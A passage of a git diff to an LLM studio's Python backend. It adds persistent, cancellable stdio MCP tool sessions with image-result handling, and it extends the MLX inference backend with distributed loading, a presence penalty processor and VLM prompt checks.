+    for one command (``headers`` omitted), or one server config (url + headers).
+    Two server rows can share a command with different envs; editing one must
+    not kill the other's live state, so the routes pass the edited row's env."""
+    global _stdio_close_all_gen
+    # HTTP/SSE servers are never cached as stdio sessions, so a specific non-stdio
+    # url has nothing to close and must not accrue a close-generation entry.
+    if url is not None and not is_stdio(url):
+        return
+    hk = None if headers is _ANY_HEADERS else _headers_key(headers)
+    with _stdio_sessions_lock:
+        if url is None:
+            _stdio_close_all_gen += 1
+        elif hk is None:
+            uk = _url_close_key(url)
+            _stdio_url_close_gen[uk] = _stdio_url_close_gen.get(uk, 0) + 1
+        else:
+            cfg = _cfg_close_key(url, headers)
+            _stdio_cfg_close_gen[cfg] = _stdio_cfg_close_gen.get(cfg, 0) + 1
+        keys = [
+            k
+            for k in _stdio_sessions
+            if (url is None or k[0] == url) and (hk is None or k[1] == hk)
+        ]
+        sessions = [_stdio_sessions.pop(k) for k in keys]
+        for key in keys:
+            _discard_stdio_key_lock(key)
+    for session in sessions:
+        session.close()
+
+
+def _reap_idle_stdio_sessions(now: Optional[float] = None) -> None:
+    now = time.monotonic() if now is None else now
+    with _stdio_sessions_lock:
+        expired = [
+            key
+            for key, session in _stdio_sessions.items()
+            if session.in_flight == 0 and now - session.last_used >= _STDIO_SESSION_IDLE_TTL
+        ]
+        sessions = [_stdio_sessions.pop(key) for key in expired]
+        for key in expired:
+            _discard_stdio_key_lock(key)
+    for session in sessions:
+        logger.info("Closing idle stdio MCP session: %s", _stdio_log_id(session.url))
+        session.close()
+
+
+def _stdio_session_reaper() -> None:
+    while True:
+        time.sleep(_STDIO_SESSION_REAP_INTERVAL)
+        try:
+            _reap_idle_stdio_sessions()
+        except Exception as exc:  # noqa: BLE001
+            logger.debug("stdio session reaper iteration failed: %s", exc)
+
+
 async def list_tools_async(
     url: str,
     headers: Optional[dict] = None,
@@ -251,11 +763,10 @@ async def list_tools_async(
     return await asyncio.wait_for(_fetch(), timeout = timeout)
 
 
-# Discovered-tool cache, keyed by MCP server id. get_enabled_mcp_tools()
-# probes a server only on a cache miss, keeping MCP discovery off the chat
-# send's critical path -- tool schemas are stable within a session. The
-# /refresh route warms it; a URL/header/OAuth change or a delete evicts it.
-# Successful probes are cached indefinitely.
+# Discovered-tool cache, keyed by MCP server id. get_enabled_mcp_tools() probes a server only
+# on a cache miss, keeping MCP discovery off the chat send's critical path -- tool schemas are
+# stable within a session. The /refresh route warms it; a URL/header/OAuth change or a delete
+# evicts it. Successful probes are cached indefinitely.
 _tool_cache: dict[str, list[dict]] = {}
 
 # server_id -> monotonic time before which a failed server must not be
@@ -298,23 +809,210 @@ def invalidate_tool_cache(server_id: Optional[str] = None) -> None:
         _probe_cooloff_until.pop(server_id, None)
 
 
+MCP_IMAGES_SENTINEL = "__MCP_IMAGES__:"
+MAX_IMAGE_PAYLOAD_CHARS = 12_000_000
+
+
 def _flatten_result(result: Any) -> str:
     parts = []
+    images = []
+    omitted = 0
+    budget = MAX_IMAGE_PAYLOAD_CHARS
     for block in getattr(result, "content", None) or []:
         text = getattr(block, "text", None)
         if text:
             parts.append(str(text))
+            continue
+        data = getattr(block, "data", None)
+        mime = getattr(block, "mimeType", None)
+        if data and isinstance(mime, str) and mime.startswith("image/"):
+            data = str(data)
+            if len(data) > budget:
+                omitted += 1
+                continue
+            budget -= len(data)
+            images.append({"data": data, "mimeType": mime})
     body = "\n".join(parts)
     if not body:
         structured = getattr(result, "structured_content", None)
         body = str(structured) if structured is not None else ""
+    if images or omitted:
+        notes = []
+        if images:
+            n = len(images)
+            notes.append(f"{n} image{'s' if n > 1 else ''} attached; displayed to the user")
+        if omitted:
+            notes.append(f"{omitted} image{'s' if omitted > 1 else ''} omitted (too large)")
+        note = f"[{'; '.join(notes)}]"
+        body = f"{body}\n{note}" if body else note
 
     if getattr(result, "is_error", False):
         # "Error: " prefix triggers tool_call_parser's TOOL_ERROR_PREFIXES nudge.
-        return f"Error: {body}" if body else "Error: tool returned no content"
+        body = f"Error: {body}" if body else "Error: tool returned no content"
+    if images:
+        body += "\n" + MCP_IMAGES_SENTINEL + json.dumps(images)
     return body
 
 
+async def _race_tool_call(call_coro, timeout: Optional[float], cancel_event) -> Any:
+    """Await ``call_coro`` under ``timeout``, polling ``cancel_event`` so a
+    /cancel POST interrupts even mid-network-read."""
+
+    async def _watch_cancel() -> None:
+        while cancel_event is not None and not cancel_event.is_set():
+            await asyncio.sleep(0.05)
+
+    if cancel_event is not None and cancel_event.is_set():
+        call_coro.close()
+        raise _MCPCancelled
+    call_task = asyncio.create_task(call_coro)
+    if cancel_event is None:
+        return await asyncio.wait_for(call_task, timeout = timeout)
+    watch_task = asyncio.create_task(_watch_cancel())
+    try:
+        done, pending = await asyncio.wait(
+            {call_task, watch_task},
+            timeout = timeout,
+            return_when = asyncio.FIRST_COMPLETED,
+        )
+    finally:
+        for t in (call_task, watch_task):
+            if not t.done():
+                t.cancel()
+    if not done:
+        raise asyncio.TimeoutError
+    if call_task in done:
+        return call_task.result()
+    raise _MCPCancelled
+
+
+def _call_stdio_tool(
+    url: str,
+    headers: Optional[dict],
+    name: str,
+    args: dict,
+    timeout,
+    cancel_event,
+    scope: Optional[str],
+    config_check,
+) -> Any:
+    if cancel_event is not None and cancel_event.is_set():
+        raise _MCPCancelled
+    # One deadline covers the key-lock wait, connect, call-lock wait, and the
+    # call itself, matching the one-shot/HTTP paths where the timeout wrapped
+    # connect plus call in a single window.
+    deadline = None if timeout is None else time.monotonic() + timeout
+
+    def _remaining() -> Optional[float]:
+        return None if deadline is None else max(0.0, deadline - time.monotonic())
+
+    # Callers without a Studio session id must retain the former one-shot
+    # behavior: no browser/cookie/tool state can leak into another request.
+    # Use an ephemeral key (and close it below) rather than the shared empty
+    # scope that the persistent-session cache used previously.
+    def _config_ok() -> bool:
+        if config_check is None:
+            return True
+        try:
+            return bool(config_check())
+        except Exception:  # noqa: BLE001
+            return False
+
+    ephemeral = not scope
+    if ephemeral:
+        scope = f"request-{uuid.uuid4().hex}"
+    key = _session_key(url, headers, scope)
+    # attempt 0 may find the cached session stale/dead *before* dispatch and
+    # reconnect once (safe); attempt 1 is a freshly connected session.
+    for attempt in (0, 1):
+        session = _get_stdio_session(url, headers, scope, deadline, cancel_event, config_check)
+        try:
+            # Serialize calls per session: overlapping same-scope calls must
+            # not interleave operations on one stateful server (browser, REPL).
+            while not session.call_lock.acquire(timeout = 0.05):
+                if cancel_event is not None and cancel_event.is_set():
+                    raise _MCPCancelled
+                rem = _remaining()
+                if rem is not None and rem <= 0:
+                    raise asyncio.TimeoutError
+        except BaseException:
+            # Never touched the transport: keep the session for its borrower.
+            _release_stdio_session(session)
+            if ephemeral:
+                _drop_stdio_session(key, session)
+            raise
+        discard_session = ephemeral
+        retry = False
+        try:
+            # We may have waited on the call lock while another caller's timeout retired this
+            # session, a server update/delete invalidated it, or a reused subprocess died. Re-check
+            # all three before dispatch so we never run on a retired/dead client or a stale config.
+            if session.closed.is_set():
+                # Intentional close (server update/delete/shutdown): don't retry on stale config.
+                discard_session = True
+                raise RuntimeError("MCP server was updated or removed during the call")
+            elif session.defunct:
+                # A concurrent same-scope caller's timeout retired this session;
+                # move to a fresh one instead of reusing the retired client.
+                discard_session = True
+                if attempt == 0:
+                    retry = True
+                else:
+                    raise RuntimeError("MCP server session was retired during the call")
+            elif not _config_ok():
+                discard_session = True
+                raise RuntimeError("MCP server was updated or removed during the call")
+            elif _transport_dead(session):
+                # Dead BEFORE dispatch: no request was sent, so reconnect + retry.
+                discard_session = True
+                if attempt == 0:
+                    retry = True
+                else:
+                    raise RuntimeError("MCP server connection is not available")
+            else:
+                rem = _remaining()
+                coro = _race_tool_call(session.client.call_tool(name, args), rem, cancel_event)
+                return session.run(coro, rem)
+        except (_MCPCancelled, asyncio.TimeoutError):
+            # _race_tool_call cancels the pending call but cancellation is
+            # cooperative. Never return this client to the cache while the
+            # timed-out/cancelled operation might still run on its transport.
+            discard_session = True
+            raise
+        except _SessionWedged:
+            discard_session = True
+            raise asyncio.TimeoutError
+        except _SessionClosed:
+            # close_stdio_sessions() shut this session mid-call (server
+            # update/delete/shutdown); don't retry on the stale config.
+            discard_session = True
+            raise RuntimeError("MCP server was updated or removed during the call")
+        except Exception as exc:
+            if session.closed.is_set():
+                # An intentional close (server update/delete) can surface as a plain transport
+                # error or AttributeError instead of _SessionClosed; don't mistake it for a crash.
+                discard_session = True
+                raise RuntimeError("MCP server was updated or removed during the call")
+            # ToolError leaves the transport alive -> keep the session so its state
+            # survives. Any other exception is transport-level (dead subprocess,
+            # broken pipe): evict so it can't poison the scope, but DO NOT replay
+            # (the tool may already have run); the next call opens a fresh session.
+            if not _is_tool_error(exc):
+                discard_session = True
+            raise
+        finally:
+            # Set defunct + remove from the cache BEFORE releasing the call lock,
+            # so a queued same-scope borrower observes the retirement and opens a
+            # fresh session instead of reusing this one.
+            _release_stdio_session(session)
+            if discard_session:
+                _drop_stdio_session(key, session)
+            session.call_lock.release()
+        if not retry:
+            break
+    raise RuntimeError("unreachable")
+
+
 def call_tool_sync(
     url: str,
     headers: Optional[dict],
@@ -323,55 +1021,35 @@ def call_tool_sync(
     timeout: Optional[float] = 300.0,
     use_oauth: bool = False,
     cancel_event = None,
+    scope: Optional[str] = None,
+    config_check = None,
 ) -> str:
-    """Synchronously call an MCP tool.
+    """Synchronously call an MCP tool. stdio servers reuse a persistent session
+    keyed by (command, env, scope) only when ``scope`` is provided; calls
+    without one stay one-shot. HTTP servers always stay one-shot.
+    ``cancel_event`` (threading.Event) cancels the in-flight call when set.
+    ``config_check`` (callable -> bool) re-validates the caller's server config
+    before a fresh stdio session is cached; False fails the call."""
 
-    ``cancel_event``: optional ``threading.Event``. When set, the in-flight call is
-    cancelled and a cancellation Error returned. Polled alongside the tool call via
-    ``asyncio.wait`` so a /cancel POST interrupts even mid-network-read.
-    """
-
-    async def _call() -> Any:
+    async def _one_shot() -> Any:
         async with _client(url, headers, use_oauth) as client:
-            return await client.call_tool(name, args)
-
-    async def _watch_cancel() -> None:
-        # 50 ms cadence keeps cancellation responsive without busy-looping;
-        # matches routes/inference.py's cancel watcher cadence.
-        while cancel_event is not None and not cancel_event.is_set():
-            await asyncio.sleep(0.05)
-
-    async def _race() -> Any:
-        # Check cancellation before spawning the call task so a pre-set event
-        # short-circuits before opening the transport / HTTP connection.
-        if cancel_event is not None and cancel_event.is_set():
-            raise _MCPCancelled
-        call_task = asyncio.create_task(_call())
-        if cancel_event is None:
-            return await asyncio.wait_for(call_task, timeout = timeout)
-        watch_task = asyncio.create_task(_watch_cancel())
-        try:
-            done, pending = await asyncio.wait(
-                {call_task, watch_task},
-                timeout = timeout,
-                return_when = asyncio.FIRST_COMPLETED,
-            )
-        finally:
-            for t in (call_task, watch_task):
-                if not t.done():
-                    t.cancel()
-        if not done:
-            raise asyncio.TimeoutError
-        if call_task in done:
-            return call_task.result()
-        raise _MCPCancelled
+            # raise_on_error=False lets an is_error result (which may still carry
+            # image content) reach _flatten_result instead of FastMCP raising ToolError
+            # and dropping the images. Transport failures still raise (handled below).
+            return await client.call_tool(name, args, raise_on_error = False)
 
     try:
-        result = asyncio.run(_race())
+        if is_stdio(url):
+            result = _call_stdio_tool(
+                url, headers, name, args, timeout, cancel_event, scope, config_check
+            )
+        else:
+            result = asyncio.run(_race_tool_call(_one_shot(), timeout, cancel_event))
     except _MCPCancelled:
         return f"Error: MCP tool '{name}' cancelled"
     except asyncio.TimeoutError:
-        return f"Error: MCP tool '{name}' timed out after {timeout:g}s"
+        suffix = f" after {timeout:g}s" if timeout is not None else ""
+        return f"Error: MCP tool '{name}' timed out{suffix}"
     except Exception as exc:
         logger.exception("MCP call_tool failed for %s: %s", name, exc)
         return f"Error: MCP tool '{name}' failed: {exc}"
diff --git a/studio/backend/core/inference/mlx_inference.py b/studio/backend/core/inference/mlx_inference.py
index 5c7799152f..e7a90b4307 100644
--- a/studio/backend/core/inference/mlx_inference.py
+++ b/studio/backend/core/inference/mlx_inference.py
@@ -5,14 +5,124 @@ Drop-in replacement for InferenceBackend — same interface, uses mlx-lm/mlx-vlm
 instead of torch/transformers for model loading and generation.
 """
 
+import json
+import os
 import threading
 from typing import Optional, Generator
+from core.inference.message_content import content_to_text
 from core.inference.runtime_context import runtime_context_length
+from core.inference.chat_template_helpers import (
+    ReasoningChannelNormalizer,
+    normalize_reasoning_snapshots,
+)
 from loggers import get_logger
 
 logger = get_logger(__name__)
 
 
+def _mlx_vlm_model_config(model):
+    """Return the loaded MLX model config and its type, preferring whichever of
+    config / _config actually carries a model_type."""
+
+    def _model_type(cfg):
+        return cfg.get("model_type") if isinstance(cfg, dict) else getattr(cfg, "model_type", None)
+
+    configs = [
+        cfg
+        for cfg in (getattr(model, "config", None), getattr(model, "_config", None))
+        if cfg is not None
+    ]
+    for cfg in configs:
+        model_type = _model_type(cfg)
+        if model_type is not None:
+            return cfg, model_type
+    return (configs[0] if configs else None), None
+
+
+def _render_registered_vlm_prompt(processor, model, messages, num_images):
+    """Render through mlx-vlm when it declares a formatter for this model."""
+    from mlx_vlm import prompt_utils
+
+    config, model_type = _mlx_vlm_model_config(model)
+    if config is None:
+        return None
+    if model_type not in getattr(prompt_utils, "MODEL_CONFIG", {}):
+        return None
+
+    rendered = prompt_utils.apply_chat_template(
+        processor,
+        config,
+        messages,
+        add_generation_prompt = True,
+        num_images = num_images,
+    )
+    if isinstance(rendered, str) and rendered.strip():
+        return rendered
+    raise RuntimeError("mlx-vlm's registered renderer returned an empty prompt.")
+
+
+def _count_vlm_images(content):
+    if isinstance(content, list):
+        return sum(_count_vlm_images(item) for item in content)
+    if not isinstance(content, dict):
+        return 0
+    if str(content.get("type", "")).lower() in ("image", "image_url", "input_image"):
+        return 1
+    return _count_vlm_images(content.get("content"))
+
+
+def _vlm_media_reprs(content):
+    if isinstance(content, list):
+        values = (
+            {str(content), json.dumps(content, ensure_ascii = False)}
+            if _count_vlm_images(content)
+            else set()
+        )
+        for item in content:
+            values.update(_vlm_media_reprs(item))
+        return values
+    if not isinstance(content, dict):
+        return set()
+    if str(content.get("type", "")).lower() in ("image", "image_url", "input_image"):
+        return {str(content), json.dumps(content, ensure_ascii = False)}
+    return _vlm_media_reprs(content.get("content"))
+
+
+def _prompt_serializes_vlm_media(prompt, messages):
+    """Detect templates that embed the exact structured media object repr."""
+    media_reprs = set()
+    for message in messages:
+        if isinstance(message, dict):
+            media_reprs.update(_vlm_media_reprs(message.get("content")))
+    text_content = [
+        content_to_text(message.get("content")) for message in messages if isinstance(message, dict)
+    ]
+    return any(
+        prompt.count(media_repr) > sum(content.count(media_repr) for content in text_content)
+        for media_repr in media_reprs
+    )
+
+
+def _vlm_prompt_issue(prompt, messages):
+    if not isinstance(prompt, str) or not prompt.strip():
+        return "an empty prompt"
+    if _prompt_serializes_vlm_media(prompt, messages):
+        return "serialized structured image content"
+    return None
+
+
+def _vlm_messages_have_tool_history(messages):
+    return any(
+        isinstance(message, dict)
+        and (
+            message.get("role") == "tool"
+            or message.get("tool_calls")
+            or message.get("tool_call_id")
+        )
+        for message in messages
+    )
+
+
 def _build_generation_stats(prompt_n, prompt_tps, gen_n, gen_tps):
     """Map mlx stream stats onto the usage/timings shape llama-server emits."""
     prompt_n = int(prompt_n or 0)
@@ -41,6 +151,87 @@ def _build_generation_stats(prompt_n, prompt_tps, gen_n, gen_tps):
     }
 
 
+def _mlx_distributed_rank_size(group = None):
+    """Return ``(rank, world_size)`` for an optional MLX distributed group."""
+    if group is None:
+        return 0, 1
+    rank = int(group.rank())
+    world_size = int(group.size())
+    if world_size < 1:
+        raise ValueError(f"Invalid MLX distributed world_size={world_size}.")
+    if rank < 0 or rank >= world_size:
+        raise ValueError(f"Invalid MLX distributed rank={rank} for world_size={world_size}.")
+    return rank, world_size
+
+
+def _mlx_distributed_backend_from_env():
+    if os.environ.get("MLX_JACCL_COORDINATOR") and os.environ.get("MLX_IBV_DEVICES"):
+        return "jaccl"
+    return None
+
+
+def _init_mlx_distributed():
+    """Initialize MLX distributed state, falling back to singleton metadata."""
+    import mlx.core as mx
+
+    group = None
+    rank = 0
+    world_size = 1
+    distributed = getattr(mx, "distributed", None)
+    init = getattr(distributed, "init", None) if distributed is not None else None
+    if callable(init):
+        backend = _mlx_distributed_backend_from_env()
+        if backend is None:
+            group = init()
+        else:
+            try:
+                group = init(backend = backend)
+            except TypeError:
+                group = init()
+        if group is not None:
+            rank, world_size = _mlx_distributed_rank_size(group)
+    return group, rank, world_size
+
+
+def _make_mlx_presence_penalty_processor(penalty: float):
+    """Presence penalty as an mlx_lm/mlx_vlm logits processor, matching the safetensors path.
+
+    generate_step calls processors as ``fn(tokens, logits)`` with ``tokens`` the
+    full running sequence; the first call is prompt-only, so latch that length
+    and penalize only after it.
+    """
+    state = {"prompt_len": None}
+
+    def _processor(tokens, logits):
+        if state["prompt_len"] is None:
+            # First call is prompt-only; latch its length.
+            state["prompt_len"] = int(tokens.shape[0])
+            return logits
+        generated = tokens[state["prompt_len"] :]
+        if generated.size == 0:
+            return logits
+        import mlx.core as mx
+
+        vocab = logits.shape[-1]
+        # Bound ids to [0, vocab) before indexing logits: MLX does no bounds
+        # checking and out-of-bounds indexing is undefined behavior (crash /
+        # corruption), unlike torch's harmless negative wrap. MLX also lacks
+        # boolean-mask filtering, so out-of-range/negative ids route to a
+        # scratch slot at index vocab (dropped before the subtract) that never
+        # collides with a real token: real ids (including 0) are penalized
+        # once, strays ignored.
+        valid = (generated >= 0) & (generated < vocab)
+        safe = mx.where(valid, generated, vocab).astype(mx.int32)
+        # Scatter penalty into a (vocab + 1)-wide mask: duplicate ids are
+        # idempotent (presence applies once per token); scratch column dropped.
+        mask = mx.zeros((vocab + 1,), dtype = logits.dtype)
+        mask[safe] = penalty
+        logits = logits - mask[:vocab]
+        return logits
+
+    return _processor
+
+
 class MLXInferenceBackend:
     def __init__(self):
         self.models = {}
@@ -49,7 +240,7 @@ class MLXInferenceBackend:
         self.loaded_local_models = []
         self.device = "mlx"
         self._generation_lock = threading.Lock()
-        # usage/timings of the latest generation; shipped on gen_done.
+        # usage/timings of the latest generation, shipped on gen_done.
         self.last_generation_stats = None
 
         self._model = None
@@ -57,6 +248,9 @@ class MLXInferenceBackend:
         self._processor = None
         self._is_vlm = False
         self._config = {}
+        self._distributed_group = None
+        self._distributed_rank = 0
+        self._distributed_world_size = 1
 
         # Recorded for unload to release pinned memory back to the OS.
         self._memory_limits_applied = {}
@@ -101,16 +295,26 @@ class MLXInferenceBackend:
         trust_remote_code = False,
         gpu_ids = None,
         dtype = None,
+        parallel_mode = None,
+        distributed_group = None,
     ) -> bool:
         import mlx.core as mx
 
+        # Keep the token so the native-template fallback can fetch a gated
+        # model's repo template during generation.
+        self._hf_token = hf_token
         model_name = config.identifier if hasattr(config, "identifier") else str(config)
         is_vision = getattr(config, "is_vision", False)
+        distributed_rank, distributed_size = _mlx_distributed_rank_size(distributed_group)
+        is_distributed = distributed_group is not None and distributed_size > 1
+        self._distributed_group = distributed_group
+        self._distributed_rank = distributed_rank
+        self._distributed_world_size = distributed_size
 
-        # GGUF guard. GGUF models are served by llama-server in the parent
-        # process, not mlx-lm here. Reaching this with is_gguf=True means the
-        # route's first detection flaked (transient HF Hub) but the subprocess
-        # re-detected GGUF; raise loudly instead of a cryptic mlx_lm error.
+        # GGUF guard: GGUF is served by llama-server in the parent process,
+        # not mlx-lm. Reaching here with is_gguf=True means the route's
+        # detection flaked but the subprocess re-detected GGUF; raise loudly
+        # instead of a cryptic mlx_lm error.
         if getattr(config, "is_gguf", False):
             raise RuntimeError(
                 f"MLXInferenceBackend cannot load GGUF model '{model_name}': "
@@ -129,11 +333,26 @@ class MLXInferenceBackend:
         is_lora = getattr(config, "is_lora", False)
 
         logger.info(
-            "Loading %s via %s (is_lora=%s)",
+            "Loading %s via %s (is_lora=%s, distributed=%s, rank=%s/%s, mode=%s)",
             model_name,
             "mlx-vlm" if is_vision else "mlx-lm",
             is_lora,
+            is_distributed,
+            distributed_rank,
+            distributed_size,
+            parallel_mode,
         )
+        if is_distributed and parallel_mode not in ("pipeline", "tensor"):
+            raise ValueError(
+                "Unsloth: distributed MLX inference requires parallel_mode='pipeline' "
+                "or parallel_mode='tensor'."
+            )
+        if is_distributed and is_lora:
+            raise ValueError(
+                "Unsloth: distributed MLX inference for LoRA adapter repos "
+                "is not supported yet. Merge/export the adapter into an MLX model "
+                "before distributed inference."
+            )
 
         try:
             from unsloth_zoo.mlx.loader import FastMLXModel
@@ -143,14 +362,23 @@ class MLXInferenceBackend:
                 "(unsloth_zoo.mlx.loader). Reinstall via install.sh on Apple Silicon."
             ) from e
 
+        load_kwargs = {
+            "max_seq_length": max_seq_length,
+            "dtype": dtype,
+            "load_in_4bit": load_in_4bit,
+            "token": hf_token,
+            "trust_remote_code": trust_remote_code,
+            "text_only": False if is_vision else True,
+        }
+        if is_distributed:
+            if parallel_mode == "pipeline":
+                load_kwargs["pipeline_group"] = distributed_group
+            else:
+                load_kwargs["tensor_group"] = distributed_group
+
         model, tokenizer_or_processor = FastMLXModel.from_pretrained(
             model_name,
-            max_seq_length = max_seq_length,
-            dtype = dtype,
-            load_in_4bit = load_in_4bit,
-            token = hf_token,
-            trust_remote_code = trust_remote_code,
-            text_only = False if is_vision else True,
+            **load_kwargs,
         )
 
         if is_vision:
@@ -168,18 +396,25 @@ class MLXInferenceBackend:
 
         self.active_model_name = model_name
         self.models[model_name] = {
+            # Per-model token for the native-template fallback (matches transformers).
+            "hf_token": hf_token,
+            # Per-model trust_remote_code reused by the native-template reload (matches transformers).
+            "trust_remote_code": trust_remote_code,
             "model": self._model,
             "tokenizer": self._tokenizer,
             "processor": self._processor,
             "is_vision": is_vision,
             "is_lora": getattr(config, "is_lora", False),
+            # For a LoRA adapter the native chat template lives on the base model.
+            "base_model": getattr(config, "base_model", None)
+            if getattr(config, "is_lora", False)
+            else None,
             "is_audio": False,
             "audio_type": None,
             "has_audio_input": False,
             "context_length": runtime_context_length(self._model, max_seq_length),
         }
-        # Capture chat_template_info so the worker IPC reply ships it back and
-        # the route layer classifies capabilities like the other paths.
+        # Capture chat_template_info for the worker IPC reply and route capability classification.
         self._populate_chat_template_info(model_name)
 
         logger.info("Model %s loaded successfully", model_name)
@@ -237,6 +472,9 @@ class MLXInferenceBackend:
         self._model = None
         self._tokenizer = None
         self._processor = None
+        self._distributed_group = None
+        self._distributed_rank = 0
+        self._distributed_world_size = 1
         if self.active_model_name == model_name:
             self.active_model_name = None
         gc.collect()
@@ -264,12 +502,12 @@ class MLXInferenceBackend:
         max_new_tokens = 256,
         repetition_penalty = 1.0,
         cancel_event = None,
-        # Reasoning / tool kwargs forwarded by the route + worker; rendered via
-        # apply_chat_template_for_generation like the transformers path.
+        # Reasoning / tool kwargs, rendered via apply_chat_template_for_generation (transformers parity).
         tools = None,
         enable_thinking = None,
         reasoning_effort = None,
         preserve_thinking = None,
+        presence_penalty = 0.0,
     ) -> Generator[str, None, None]:
         if self._model is None:
             raise RuntimeError("No model loaded")
@@ -277,7 +515,6 @@ class MLXInferenceBackend:
         # Reset so a failed run cannot surface stale stats.
         self.last_generation_stats = None
 
-        # Build messages with system prompt
         full_messages = []
         if system_prompt:
             full_messages.append({"role": "system", "content": system_prompt})
@@ -294,16 +531,13 @@ class MLXInferenceBackend:
                             {"type": "text", "text": content},
                         ]
                     elif isinstance(content, list):
-                        # Prepend image if not already present
-                        has_image = any(
-                            p.get("type") == "image" for p in content if isinstance(p, dict)
-                        )
+                        has_image = _count_vlm_images(content) > 0
                         if not has_image:
                             content.insert(0, {"type": "image"})
                     break
 
         if self._is_vlm:
-            yield from self._generate_vlm(
+            stream = self._generate_vlm(
                 full_messages,
                 image,
                 temperature,
@@ -317,9 +551,10 @@ class MLXInferenceBackend:
                 enable_thinking = enable_thinking,
                 reasoning_effort = reasoning_effort,
                 preserve_thinking = preserve_thinking,
+                presence_penalty = presence_penalty,
             )
         else:
-            yield from self._generate_text(
+            stream = self._generate_text(
                 full_messages,
                 temperature,
                 top_p,
@@ -332,7 +567,9 @@ class MLXInferenceBackend:
                 enable_thinking = enable_thinking,
                 reasoning_effort = reasoning_effort,
                 preserve_thinking = preserve_thinking,
+                presence_penalty = presence_penalty,
             )
+        yield from stream
 
     def _generate_text(
         self,
@@ -349,12 +586,15 @@ class MLXInferenceBackend:
         enable_thinking = None,
         reasoning_effort = None,
         preserve_thinking = None,
+        presence_penalty = 0.0,
     ):
         from mlx_lm import stream_generate
         from mlx_lm.sample_utils import make_sampler, make_logits_processors
 
         from core.inference.chat_template_helpers import (
             apply_chat_template_for_generation,
+            detect_think_prefill,
+            render_with_native_template_fallback,
         )
 
         prompt = apply_chat_template_for_generation(
@@ -368,6 +608,37 @@ class MLXInferenceBackend:
         if prompt is None:
             raise RuntimeError("apply_chat_template returned None — tokenizer may be incompatible")
 
+        # Parity with the transformers backend: if the template dropped the
+        # requested tools, fall back to the native template so MLX text models
+        # keep advertising them. self._tokenizer is this entry's tokenizer, so
+        # probe and native render share a renderer. (VLM renders via the
+        # processor for image tokens and is not wired here.)
+        model_info = self.models.get(self.active_model_name, {})
+        render_result = render_with_native_template_fallback(
+            formatted_prompt = prompt,
+            tokenizer = self._tokenizer,
+            model_info = model_info,
+            active_model_name = self.active_model_name,
+            messages = messages,
+            tools = tools,
+            enable_thinking = enable_thinking,
+            reasoning_effort = reasoning_effort,
+            preserve_thinking = preserve_thinking,
+            hf_token = model_info.get("hf_token"),
+            return_metadata = True,
+        )
+        prompt = render_result.prompt
+        reasoning_channel_markers = render_result.reasoning_channel_markers
+
+        # An open <think> prefilled by the template lives in the prompt, not
+        # the generated tokens; re-emit it so the frontend renders the block.
+        think_prefix = detect_think_prefill(
+            prompt, getattr(self._tokenizer, "all_special_tokens", None)
+        )
+        # Emit it before the first token so the block renders during prefill.
+        if think_prefix:
+            yield think_prefix
+
         sampler = make_sampler(
             temp = temperature,
             top_p = top_p,
@@ -375,17 +646,33 @@ class MLXInferenceBackend:
             min_p = float(min_p or 0.0),
             min_tokens_to_keep = 1,
         )
-        # Only build a logits processor for a non-trivial repetition penalty.
-        logits_processors = None
+        # Repetition and/or presence penalty processors (GGUF/safetensors parity).
+        logits_processors = []
         if repetition_penalty is not None and float(repetition_penalty) not in (
             0.0,
             1.0,
         ):
-            logits_processors = make_logits_processors(
-                repetition_penalty = float(repetition_penalty),
+            logits_processors.extend(
+                make_logits_processors(
+                    repetition_penalty = float(repetition_penalty),
+                )
             )
+        if presence_penalty:
+            logits_processors.append(_make_mlx_presence_penalty_processor(float(presence_penalty)))
+        if not logits_processors:
+            logits_processors = None
 
+        preserve_native_channels = reasoning_channel_markers is not None
         token_ids = []
+        normalizer = (
+            ReasoningChannelNormalizer(*reasoning_channel_markers)
+            if reasoning_channel_markers is not None
+            else None
+        )
+        # MLX consumers diff cumulative snapshots. Keep a prompt-prefilled
+        # <think> prefix on every native-protocol snapshot just as the normal
+        # decoding path does below.
+        normalized_output = think_prefix
         logger.info(
             "Generating: prompt_len=%d, max_tokens=%d, model=%s, tokenizer=%s",
             len(prompt),
@@ -409,13 +696,19 @@ class MLXInferenceBackend:
                     **gen_kwargs,
                 ):
                     final_response = response
-                    token_ids.append(response.token)
-                    # Decode full sequence with skip_special_tokens
-                    cumulative = self._tokenizer.decode(
-                        token_ids,
-                        skip_special_tokens = True,
-                    )
-                    yield cumulative
+                    if preserve_native_channels:
+                        piece = getattr(response, "text", None) or ""
+                        delta = normalizer.feed(piece)
+                        if delta:
+                            normalized_output += delta
+                            yield normalized_output
+                    else:
+                        token_ids.append(response.token)
+                        cumulative = self._tokenizer.decode(
+                            token_ids,
+                            skip_special_tokens = True,
+                        )
+                        yield think_prefix + cumulative
 
                     if cancel_event and cancel_event.is_set():
                         break
@@ -432,6 +725,12 @@ class MLXInferenceBackend:
                         getattr(final_response, "generation_tokens", 0),
                         getattr(final_response, "generation_tps", 0.0),
                     )
+        if normalizer is not None:
+            cancelled = cancel_event is not None and cancel_event.is_set()
+            tail = normalizer.drain() if cancelled else normalizer.finish()
+            if tail:
+                normalized_output += tail
+                yield normalized_output
 
     def _generate_vlm(
         self,
@@ -449,6 +748,7 @@ class MLXInferenceBackend:
         enable_thinking = None,
         reasoning_effort = None,
         preserve_thinking = None,
+        presence_penalty = 0.0,
     ):
         from mlx_vlm import stream_generate as vlm_stream
 
@@ -457,8 +757,7 @@ class MLXInferenceBackend:
         )
 
         # Pick the chat-template-aware caller: processors with their own
-        # apply_chat_template + chat_template (e.g. Qwen2.5-VL) use it
-        # directly; else fall back to the nested tokenizer.
+        # apply_chat_template + chat_template (e.g. Qwen2.5-VL), else the nested tokenizer.
         chat_target = self._processor
         if (
             getattr(self._processor, "apply_chat_template", None) is None
@@ -467,28 +766,103 @@ class MLXInferenceBackend:
         ):
             chat_target = getattr(self._processor, "tokenizer", self._processor)
 
-        prompt = apply_chat_template_for_generation(
-            chat_target,
-            messages,
-            tools = tools,
-            enable_thinking = enable_thinking,
-            reasoning_effort = reasoning_effort,
-            preserve_thinking = preserve_thinking,
-        )
-
         # mlx_vlm's stream_generate handles pixel_values (None for text-only)
         images = [image] if image is not None else None
+        attached_images = 0 if images is None else len(images)
+        structured_images = sum(
+            _count_vlm_images(message.get("content"))
+            for message in messages
+            if isinstance(message, dict)
+        )
+        if structured_images != attached_images:
+            raise RuntimeError(
+                f"VLM conversation contains {structured_images} structured image "
+                f"item(s) for {attached_images} attached image(s)."
+            )
+        prompt = None
+        has_tool_history = _vlm_messages_have_tool_history(messages)
+        prompt_error = None
+        try:
+            prompt = apply_chat_template_for_generation(
+                chat_target,
+                messages,
+                tools = tools,
